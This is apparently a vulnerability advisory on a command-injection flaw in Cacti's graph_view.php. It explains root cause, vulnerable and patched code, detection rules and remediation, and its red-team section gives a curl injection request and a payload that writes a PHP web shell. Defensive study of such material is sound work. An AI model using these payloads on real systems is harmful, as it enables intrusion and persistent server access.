CVE-2005-10004

Executive Summary

CVE-2005-10004 is a critical remote command execution vulnerability in Cacti versions prior to 0.8.6-d. The flaw resides in the graph_view.php script, where the graph_start GET parameter is improperly sanitized before being passed to a shell command during graph rendering. An authenticated attacker can inject arbitrary operating system commands, leading to full compromise of the web server. This vulnerability is particularly dangerous in environments where Cacti is used for network monitoring, as it provides a foothold for lateral movement.

Supply Chain & Package Security

Cacti is a PHP-based application commonly deployed via package managers (e.g., apt, yum) or manual installation. The vulnerability affects the core codebase, not third-party packages. However, organizations should verify their Cacti installation source and ensure no custom plugins or themes introduce additional risks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires authenticated user.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Affects only the vulnerable component.
• Confidentiality (C): High (H) – Full data access.
• Integrity (I): High (H) – Full system modification.
• Availability (A): High (H) – Full system disruption.

Threat Level: Critical. The combination of low attack complexity and high impact makes this a priority for patching.

Deep Dive & Mechanics

The vulnerability exists in the graph_view.php script, which handles graph rendering requests. The graph_start parameter is used to specify the starting time for graph data. This parameter is passed directly to a shell command (likely via exec(), system(), or popen()) without proper sanitization or escaping.

Root Cause: The application fails to validate or escape user input before incorporating it into a shell command. An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

Attack Flow:

1. Attacker authenticates to Cacti (default credentials or brute-force).
2. Attacker crafts a malicious request: graph_view.php?graph_start=1;id
3. The server executes: rrdtool graph ... --start 1;id
4. The injected id command runs with web server privileges.

Vulnerable vs. Patched Code

Vulnerable Code (pre-0.8.6-d):

// graph_view.php (simplified)
$graph_start = $_GET['graph_start'];
$command = "rrdtool graph ... --start $graph_start";
exec($command, $output);

Patched Code (0.8.6-d):

// graph_view.php (simplified)
$graph_start = escapeshellarg($_GET['graph_start']);
$command = "rrdtool graph ... --start $graph_start";
exec($command, $output);

The patch uses escapeshellarg() to safely quote the input, preventing shell injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Cacti instance (version < 0.8.6-d)
• Valid credentials (e.g., admin:admin)

Exploit Steps:

1. Authenticate to Cacti and obtain a session cookie.
2. Send a crafted GET request:

curl -b "CactiSession=valid_session" "http://target/cacti/graph_view.php?graph_start=1;id"

3. Observe command output in the response or error logs.

Advanced Payload:

graph_start=1;echo+<?php+system(\$_GET['cmd']);?>+>/var/www/html/shell.php

This writes a web shell for persistent access.

Blue Team

Detection:

• Monitor web server logs for unusual graph_start parameter values containing shell metacharacters.
• Deploy WAF rules to block ;, |, && in graph_start.

Hunting:

• Search for processes spawned by the web server user (e.g., www-data) that are not typical (e.g., id, whoami, nc).
• Check for unexpected files in web-accessible directories (e.g., shell.php).

Indicators of Compromise (IOCs)

• Network: HTTP requests to graph_view.php with graph_start containing shell metacharacters.
• File: Unexpected PHP files in the Cacti web root (e.g., shell.php).
• Process: Web server user executing commands like id, whoami, nc, bash.
• Log: Web server access logs showing graph_start=1; or similar patterns.

Detection Engineering

YARA Rule

rule CVE_2005_10004_Cacti_RCE {
    meta:
        description = "Detects Cacti graph_view.php RCE attempts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2005-10004"
    strings:
        $s1 = "graph_view.php" nocase
        $s2 = "graph_start=" nocase
        $s3 = /[;&|`$]/
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: Cacti graph_view.php RCE Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2005-10004
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "graph_start="
        cs-uri-query|re: ".*[;&|`$].*"
    condition: selection
falsepositives:
    - Legitimate use of special characters in graph_start (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2005-10004 Cacti RCE Attempt"; flow:to_server,established; content:"graph_view.php"; http_uri; content:"graph_start="; http_uri; pcre:"/[;&|`$]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Cacti to version 0.8.6-d or later.
2. If upgrade is not possible, apply a virtual patch using a WAF to block malicious graph_start values.

Long-term:

• Implement input validation and output encoding for all user-supplied parameters.
• Use parameterized commands or safe APIs (e.g., escapeshellarg(), escapeshellcmd()).
• Conduct regular security audits of web applications.

Workaround:

• Restrict access to graph_view.php via .htaccess or firewall rules to trusted IPs only.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert